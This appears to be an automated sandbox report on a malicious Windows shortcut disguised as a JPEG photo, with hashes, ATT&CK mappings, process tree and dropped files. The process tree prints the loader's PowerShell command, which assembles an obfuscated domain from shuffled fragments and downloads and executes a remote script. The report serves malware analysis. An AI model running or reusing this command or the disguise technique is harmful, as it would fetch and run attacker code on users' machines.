110e1b80a8d8e58453104975ef0c736014e2da5a44f6c4b54caad26a4797adab

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 06:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_062717.jpg.lnk
Size 1KB
Sample260728-hf5mdadj5w
SHA256 110e1b80a8d8e58453104975ef0c736014e2da5a44f6c4b54caad26a4797adab
MD5 fa15e2db614a37d1ca6257ec442ae586
SHA1 ee2f80dcb86c252407816e5670410db8da14976e
SHA512 0ad5135650bd7009711214b1e1b216c21fbd60b17407b87171461626008b4330d0717a0628c0d63abb182094af35f64eef745e4d31934eda2e5427a1157dd7b4
TLSH
T18E21F1251BF30369D6BB8F755872631143227A0EDB458FDF1380C2949864220F878F3B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	3164	powershell.exe
5	3164	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2704	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3164	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 3164	2704	cmd.exe	91
PID 3164 wrote to memory of 4348	3164	powershell.exe	92
PID 4348 wrote to memory of 5292	4348	csc.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_062717.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('ow.shop','ayn','t','reservphot','oins')[3,4,2,1,0] -join $Vr7Sa) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fu12gbvr\fu12gbvr.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2B2D.tmp" "c:\Users\Admin\AppData\Local\Temp\fu12gbvr\CSC412304968B1E48358BB76C1A272DDE27.TMP"
      4⤵
      PID:5292

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES2B2D.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES2B2D.tmp
Size 1KB
SHA256 46a789ae87e970e39e0ab0b6af1286fc2c5616cd0e482b98a4055ec4012ffd7f
MD5 aa2d92fd168f2fba2abf28329b911db8
SHA1 aa6af4897d866695d36ba1171058dc498fb827e4
SHA512 80561bfca04210d32bf72fde13294b7ed35f265d26e86c64e90364a2d893ae5865df864c35be06cdcae311c62861cb4b031b7263d803010e932f7b6104f6f80c
TLSH
T1DE216A0593E98B1EF0B7473169FA176F9274FD68AFA2975B5440422C2861504EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

fu12gbvr.dll

Path C:\Users\Admin\AppData\Local\Temp\fu12gbvr\fu12gbvr.dll
Size 3KB
SHA256 728af1af843d4679d4dce8b13b931c4d89ee7afe30a47fecbac16f200bb27723
MD5 95106c86df355617a5719247cf9796bb
SHA1 ee2ecb31eb614d02c856e9c5ece4443ac052dc5f
SHA512 6caf9ba1618b34ca322513c3a0c59d74b2f96305711a1f1ca88241236e42dcd7e3aa5b9aed8ce9b59071da97baa5c6794f8d0fe031699ee47590193e8af60e3d
TLSH
T16251CC1AA3E8466BF47B07346FF3076727B4F8509FB2536A19800228AC607546E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC412304968B1E48358BB76C1A272DDE27.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\fu12gbvr\CSC412304968B1E48358BB76C1A272DDE27.TMP
Size 652B
SHA256 149c0ce39fc26c689e1361f8e6c24586e0135c67fb8753250a9224d987b03f34
MD5 507f261ceea191efc69fc3aea7151555
SHA1 53ae8f66aae24a0870875c27ba84d3838d0cc217
SHA512 f1b049b19424ecc64465e9e79aac5cb7afd85a25907b0c19ea9f3a001ec8bd2e207495d828453d47487a375be64dd76ca0bd4381d36d7cf63569ca536738b44e
TLSH
T140F05E0963F8420EF1F34B30BDF643A791A9BC65EE3293ED2480031D68745109972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

fu12gbvr.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\fu12gbvr\fu12gbvr.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

fu12gbvr.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\fu12gbvr\fu12gbvr.cmdline
Size 369B
SHA256 3debce2ed06ef1a1520d1c05092c36ab7a92498dc2702abbdbe0e371b6cbf41a
MD5 70d577a85d0f0cac61bab13b4d4bec3e
SHA1 a85f65cedb77cac8ed616525b7028b07f7435471
SHA512 bfff34892669fb899e678391252da95e4ca54d915be5b39a5a7b01b9262ef5f18826c3be57d0831f31a557bf27c4eb0a7bea368e581ff8d8654b23acc08fb2ab
TLSH
T147E0C02A7356C6FD81FD100725B9C4ACC2720B5729403F845040842DF0B7010ABD17D7
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3164-9-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-5-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-11-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-12-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-13-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-14-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-2-0x00007FFD40DDF000-0x00007FFD40DE0000-memory.dmp

Download

memory/3164-8-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-7-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-10-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-6-0x0000014AFD280000-0x0000014AFD2A2000-memory.dmp

Download

memory/3164-27-0x0000014AFD250000-0x0000014AFD258000-memory.dmp

Download

memory/3164-29-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-30-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-31-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-32-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-33-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download

memory/3164-34-0x00007FFD40C50000-0x00007FFD415F4000-memory.dmp

Download